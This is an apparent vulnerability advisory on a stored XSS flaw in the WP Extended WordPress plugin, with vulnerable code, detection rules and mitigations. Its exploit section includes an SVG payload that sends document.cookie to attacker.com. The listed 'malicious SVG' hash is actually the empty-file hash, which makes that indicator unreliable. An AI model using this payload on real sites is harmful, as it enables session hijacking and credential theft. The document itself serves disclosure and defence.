CVE-2025-4963

Executive Summary

CVE-2025-4963 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Extended plugin for WordPress, affecting all versions up to and including 3.0.15. The vulnerability arises from insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) accesses the uploaded SVG file, the injected script executes within the victim's browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

The vulnerability is classified as a WordPress ecosystem issue, specifically within the WP Extended plugin. The CVSS v3.1 base score is 6.4 (Medium), with a vector emphasizing low attack complexity, required privileges, user interaction, and a changed scope. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a known patch makes this a significant risk for affected sites.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin vulnerability, and the supply chain risk is limited to the plugin's update mechanism and the WordPress ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.4 (Medium)
• Attack Vector (AV): Network – The attack is performed over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs Author-level access.
• User Interaction (UI): Required – The victim must access the SVG file.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate threat, but the potential for stored XSS in a widely used plugin warrants attention.

Deep Dive & Mechanics

The WP Extended plugin allows users with Author-level privileges to upload media files, including SVG images. The vulnerability stems from the plugin's failure to properly sanitize SVG files during upload and escape output when rendering them. SVG files can contain embedded JavaScript via <script> tags or event handlers (e.g., onload, onmouseover). When the plugin serves the SVG file to a browser, the browser interprets the embedded script, leading to XSS.

Attack Flow:

1. An authenticated attacker with Author-level access logs into WordPress.
2. The attacker uploads a crafted SVG file containing malicious JavaScript (e.g., <script>alert('XSS')</script>).
3. The plugin stores the SVG file without sanitizing the script content.
4. When any user (including administrators) views the SVG file (e.g., via a direct link or embedded in a page), the script executes in their browser.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses wp_upload_bits() or similar functions without applying wp_check_filetype_and_ext() or wp_sanitize_mime_type() to validate SVG content. Additionally, output escaping functions like esc_url() or esc_attr() are not applied when rendering the SVG file URL.

Vulnerable vs. Patched Code

Vulnerable Code (wp-extended <= 3.0.15):

// In a file upload handler
$upload = wp_upload_bits($_FILES['file']['name'], null, file_get_contents($_FILES['file']['tmp_name']));
// No sanitization of SVG content
// Later, when displaying the file
echo '<img src="' . $upload['url'] . '" />';
// No escaping of the URL

Patched Code (Hypothetical):

// In a file upload handler
$file = $_FILES['file'];
$file_type = wp_check_filetype_and_ext($file['tmp_name'], $file['name']);
if ($file_type['ext'] === 'svg') {
    // Sanitize SVG content using a library like svg-sanitizer
    $sanitized_svg = sanitize_svg(file_get_contents($file['tmp_name']));
    $upload = wp_upload_bits($file['name'], null, $sanitized_svg);
} else {
    $upload = wp_upload_bits($file['name'], null, file_get_contents($file['tmp_name']));
}
// When displaying the file
echo '<img src="' . esc_url($upload['url']) . '" />';

Key Differences:

• The patched version validates the file type and sanitizes SVG content to remove scripts.
• The patched version escapes the URL output using esc_url().

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Extended plugin <= 3.0.15.
• Author-level account credentials.

Exploit Steps:

1. Create a malicious SVG file (e.g., xss.svg):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

2. Log in to WordPress with Author credentials.
3. Navigate to Media > Add New.
4. Upload xss.svg.
5. Copy the URL of the uploaded SVG file.
6. Send the URL to a victim (e.g., via email or social engineering).
7. When the victim accesses the URL, the script executes.

Advanced Payload (Cookie Stealing):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    document.location='http://attacker.com/steal.php?cookie='+document.cookie;
  </script>
</svg>

Blue Team

Detection Steps:

1. Monitor file uploads for SVG files with suspicious content (e.g., <script> tags).
2. Review server logs for unusual referrers or user agents.
3. Use web application firewalls (WAF) to block SVG uploads containing JavaScript.
4. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Disable SVG uploads for non-admin users.
• Use a plugin like "Safe SVG" to sanitize SVG files.
• Apply the patch as soon as it becomes available.

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Example – actual hashes vary)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SVG)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal.php?cookie=...)
• File Paths:
  • /wp-content/uploads/YYYY/MM/xss.svg
• Log Entries:
  • POST /wp-admin/async-upload.php with Content-Type: image/svg+xml
  • GET /wp-content/uploads/YYYY/MM/xss.svg with unusual referrer

Detection Engineering

YARA Rule

rule CVE_2025_4963_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-4963"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4963"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload="
        $onerror = "onerror="
    condition:
        $svg_tag and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: CVE-2025-4963 - Stored XSS via SVG Upload in WP Extended
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads containing script tags in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/async-upload.php'
        sc-status: 200
        cs-content-type: 'image/svg+xml'
    condition: selection
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4963 - SVG XSS Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; within:1000; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: Restrict SVG file uploads to administrators only using a plugin like "Disable SVG Uploads" or by modifying .htaccess:

<FilesMatch "\.svg$">
    Order Deny,Allow
    Deny from all
</FilesMatch>

2. Sanitize SVG Files: Use a plugin like "Safe SVG" to sanitize uploaded SVG files.
3. Apply WAF Rules: Block SVG files containing <script> tags or event handlers.
4. Update Plugin: Monitor the WP Extended plugin page for a patched version and apply it immediately.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Conduct regular security audits of WordPress plugins.
• Educate users about the risks of uploading untrusted files.

Patch Status: UNKNOWN. The vendor has not released a patch as of this analysis. Users should consider disabling the plugin or implementing the mitigations above.

Valters IT